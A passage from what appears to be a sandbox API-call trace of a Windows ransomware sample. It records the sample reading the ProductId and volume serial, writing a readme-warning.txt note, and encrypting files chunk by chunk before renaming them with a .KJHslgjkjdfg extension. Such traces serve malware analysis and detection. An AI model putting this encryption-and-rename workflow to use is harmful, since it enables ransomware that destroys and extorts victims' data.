() returned 0x990000 [0170.724] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0170.724] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0170.724] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0170.724] CryptDestroyKey (hKey=0x9b6668) returned 1 [0170.724] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x118) returned 0x0 [0170.724] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0170.724] RegCloseKey (hKey=0x118) returned 0x0 [0170.724] GetProcessHeap () returned 0x990000 [0170.724] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0170.724] GetProcessHeap () returned 0x990000 [0170.725] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0170.725] GetProcessHeap () returned 0x990000 [0170.725] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0170.725] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0170.725] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0170.725] CryptDestroyKey (hKey=0x9b6668) returned 1 [0170.725] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.725] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.725] GetProcessHeap () returned 0x990000 [0170.725] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0170.725] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.725] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.725] GetProcessHeap () returned 0x990000 [0170.725] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0170.725] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\readme-warning.txt") returned 81 [0170.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.726] WriteFile (in: hFile=0x118, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0170.727] CloseHandle (hObject=0x118) returned 1 [0170.728] GetProcessHeap () returned 0x990000 [0170.728] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0170.728] GetProcessHeap () returned 0x990000 [0170.728] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0170.728] GetProcessHeap () returned 0x990000 [0170.728] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0170.728] GetProcessHeap () returned 0x990000 [0170.728] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0170.728] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0170.728] GetProcessHeap () returned 0x990000 [0170.728] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0170.728] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0170.728] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0170.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.731] GetProcessHeap () returned 0x990000 [0170.731] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0170.732] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0170.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0170.733] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0170.736] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0170.736] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.736] GetProcessHeap () returned 0x990000 [0170.736] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0170.737] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0170.737] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.737] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0170.737] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0170.737] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0170.737] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0170.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0170.737] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0170.738] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0170.738] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.738] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x100000, lpOverlapped=0x0) returned 1 [0170.770] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x100000, dwBufLen=0x100000 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x100000) returned 1 [0170.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.786] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x100000, lpOverlapped=0x0) returned 1 [0170.791] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x120f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.791] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0170.791] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.791] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x20eb8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x20eb8, lpOverlapped=0x0) returned 1 [0170.791] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20ec0, dwBufLen=0x20ec0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20ec0) returned 1 [0170.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.793] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x20ec0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x20ec0, lpOverlapped=0x0) returned 1 [0170.794] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x120f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.794] SetEndOfFile (hFile=0xf0) returned 1 [0170.798] GetProcessHeap () returned 0x990000 [0170.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0170.798] GetProcessHeap () returned 0x990000 [0170.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0170.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.kjhslgjkjdfg")) returned 1 [0170.813] CloseHandle (hObject=0xf0) returned 1 [0170.814] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0170.814] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0170.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.818] GetProcessHeap () returned 0x990000 [0170.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0170.818] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0170.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0170.818] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0170.820] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0170.820] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.820] GetProcessHeap () returned 0x990000 [0170.821] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0170.821] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0170.821] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.821] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0170.821] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0170.821] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0170.821] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0170.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0170.821] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0170.821] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0170.821] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.821] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3574, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3574, lpOverlapped=0x0) returned 1 [0170.822] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3580, dwBufLen=0x3580 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3580) returned 1 [0170.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.823] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3580, lpOverlapped=0x0) returned 1 [0170.823] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.823] SetEndOfFile (hFile=0xf0) returned 1 [0170.826] GetProcessHeap () returned 0x990000 [0170.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0170.826] GetProcessHeap () returned 0x990000 [0170.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0170.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.kjhslgjkjdfg")) returned 1 [0170.827] CloseHandle (hObject=0xf0) returned 1 [0170.827] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0170.827] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0170.827] GetProcessHeap () returned 0x990000 [0170.827] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0170.827] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0170.827] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0170.827] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.827] GetProcessHeap () returned 0x990000 [0170.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0170.828] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0170.828] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0170.828] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.828] GetProcessHeap () returned 0x990000 [0170.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0170.828] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0170.828] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29df0a8 | out: pbData=0x9f99f0, pdwDataLen=0x29df0a8) returned 1 [0170.828] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.828] GetProcessHeap () returned 0x990000 [0170.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0170.828] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0170.828] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0170.828] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.828] GetProcessHeap () returned 0x990000 [0170.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0170.828] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0170.828] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dec88 | out: pbData=0x9b18c8, pdwDataLen=0x29dec88) returned 1 [0170.828] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.828] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0170.829] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0170.829] RegCloseKey (hKey=0xf0) returned 0x0 [0170.829] GetProcessHeap () returned 0x990000 [0170.829] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0170.829] GetProcessHeap () returned 0x990000 [0170.829] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0170.829] GetProcessHeap () returned 0x990000 [0170.829] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0170.829] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0170.829] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea5c | out: pbData=0x9b18c8, pdwDataLen=0x29dea5c) returned 1 [0170.829] CryptDestroyKey (hKey=0x9b6628) returned 1 [0170.829] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.829] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.829] GetProcessHeap () returned 0x990000 [0170.830] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0170.830] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.830] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.830] GetProcessHeap () returned 0x990000 [0170.830] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0170.830] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program 